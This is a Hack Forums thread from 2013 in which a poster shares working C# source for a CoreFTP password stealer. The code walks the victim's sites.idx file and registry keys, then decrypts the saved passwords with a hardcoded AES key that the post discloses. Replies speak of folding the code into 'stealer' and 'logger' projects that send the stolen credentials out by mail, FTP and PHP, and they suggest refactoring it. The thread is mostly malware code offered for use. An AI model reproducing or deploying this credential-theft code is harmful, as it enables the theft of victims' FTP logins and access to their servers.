

Forum:[Hack Forums](#)

Thread: [CoreFTP Password Stealer.](#)

Delirium™ - December 29, 2013, 5:53 am

Since there are only a few CoreFTP password stealers available and they don't even decrypt the password, I decided to post my own snippet here for people who are in need of a CoreFTP stealer snippet that does decrypt the password.

Password encryption:

Saved CoreFTP passwords are encrypted using AES-128 (ECB) and the HEX value for the encrypted bytes are stored into registry. The key of the encryption is always "hdfzpysvpzimorhk".

Code Snippets:

- Decryption method for the passwords:

```
Code private static string DecryptCoreFTPPassword(string HexString)
{
    StringBuilder buffer = new StringBuilder(HexString.Length * 3 / 2);
    for (int i = 0; i < HexString.Length; i++)
    {
        if ((i > 0) & (i % 2 == 0))
            buffer.Append("-");
        buffer.Append(HexString[i]);
    }

    string Reversed = buffer.ToString();

    int length = (Reversed.Length + 1) / 3;
    byte[] arr = new byte[length];
    for (int i = 0; i < length; i++)
    {
        arr[i] = Convert.ToByte(Reversed.Substring(3 * i, 2), 16);
    }

    RijndaelManaged AES = new RijndaelManaged()
    {
        Mode = CipherMode.ECB,
        Key = Encoding.ASCII.GetBytes("hdfzpysvpzimorhk"),
        Padding = PaddingMode.Zeros,
    };
    ICryptoTransform Transform = AES.CreateDecryptor(AES.Key, AES.IV);
    return Encoding.UTF8.GetString(Transform.TransformFinalBlock(arr, 0, arr.Length));
}

- Recover snippet for the passwords:
Code public static string RecoverCoreFTP()
{
    string sPath =
```

```

Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"CoreFTP/sites.idx");
    StringBuilder RegBuilder = new StringBuilder();
    using (StreamReader Reader = new StreamReader(sPath))
    {
        string line = "";
        while ((line = Reader.ReadLine()) != null)
        {
            try
            {
                RegBuilder.Append(line.Split(new string[] { " " }, StringSplitOptions.None)[0].ToString() + " ");
            } catch
            {
                continue;
            }
        }
    }
    string[] RegistryPaths = RegBuilder.ToString().Substring(0, RegBuilder.ToString().Length -
2).Split(' ');
    StringBuilder Ret = new StringBuilder();
    Ret.Append("== Core FTP Passwords ==\n\n");
    string sEntry = "";
    string sHost = "";
    string sPort = "";
    string sUser = "";
    string sPassword = "";
    foreach (string path in RegistryPaths)
    {
        sEntry =
Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\
{0}", path), "Name", " ").ToString();
        sHost =
Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\
{0}", path), "Host", " ").ToString();
        sUser =
Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\
{0}", path), "User", " ").ToString();
        sPort =
Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\
{0}", path), "Port", " ").ToString();
        sPassword =
DecryptCoreFTPPassword(Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\
FTPWare\COREFTP\Sites\{0}", path), "PW", " ").ToString());
        if (!string.IsNullOrEmpty(sUser) && !string.IsNullOrEmpty(sPort) && !string.IsNullOrEmpty(sHost))
        {
            Ret.Append("== Core FTP Entry ==\n");
            Ret.AppendLine("Entry Name: " + sEntry + "\n");
            Ret.Append("Host: " + sHost + "\n");
            Ret.Append("Port: " + sPort + "\n");
            Ret.Append("Username: " + sUser + "\n");
            Ret.Append("Password: " + sPassword + "\n");
            Ret.Append("==\n\n");
        }
    }

```

```

else { continue; }
}
Ret.Append("==");
return Ret.ToString();
}

```

If you have any question, inquiry or feedback, feel free to post it.

morphine1337 - December 29, 2013, 8:49 am

Good job man, i really needed this for my stealer project. Ty.

Joe. - December 29, 2013, 1:23 pm

This is pretty nice, but as it is now, it's not very dynamic. What i mean by this is it would be more versatile if you made a class that's members were the username and password and information of the CoreFTP stolen credentials. You could then make your function return an array of these classes so then the user can access these classes and only return the information he needs. Pseudo code:

```

Code class CoreFTPProfile {
    string entryName;
    string username;
    string password;
    string hostName;
    int port;
}

private CoreFTPProfile[] GetCoreFTPProfiles() {
    List<CoreFTPProfile> coreFtpProfiles = new List<CoreFTPProfiles>();
    CoreFTPProfile buff = new CoreFTPProfile();
    buff.port = 666;
    coreFtpProfiles.add(buff);
    return coreFtpProfiles.toArray();
}

```

frontenhack - December 29, 2013, 1:36 pm

I use that way in my logger so i could send to mail, ftp and php :)

Delirium™ - December 29, 2013, 3:10 pm

(Dec 29, 2013 02:23 PM)Joe. Wrote: [\[CITE\]](#) This is pretty nice, but as it is now, it's not very dynamic. What i mean by this is it would be more versatile if you made a class that's members were the username and password and information of the CoreFTP stolen credentials. You could then make your function return an array of these classes so then the user can access these classes and only return the information he needs. Pseudo code:

```

Code class CoreFTPProfile {
    string entryName;
    string username;
    string password;
    string hostName;
    int port;
}

private CoreFTPProfile[] GetCoreFTPProfiles() {
    List<CoreFTPProfile> coreFtpProfiles = new List<CoreFTPProfiles>();
    CoreFTPProfile buff = new CoreFTPProfile();

```

```
buff.port = 666;  
coreFtpProfiles.add(buff);  
return coreFtpProfiles.toArray();  
}
```

You are right, I just wrote a basic snippet just to include the password decryption method. The only available ones I've seen do not have that. Apparently, either the coder did not care enough to write a full version or they had no idea how CoreFTP encrypts the passwords.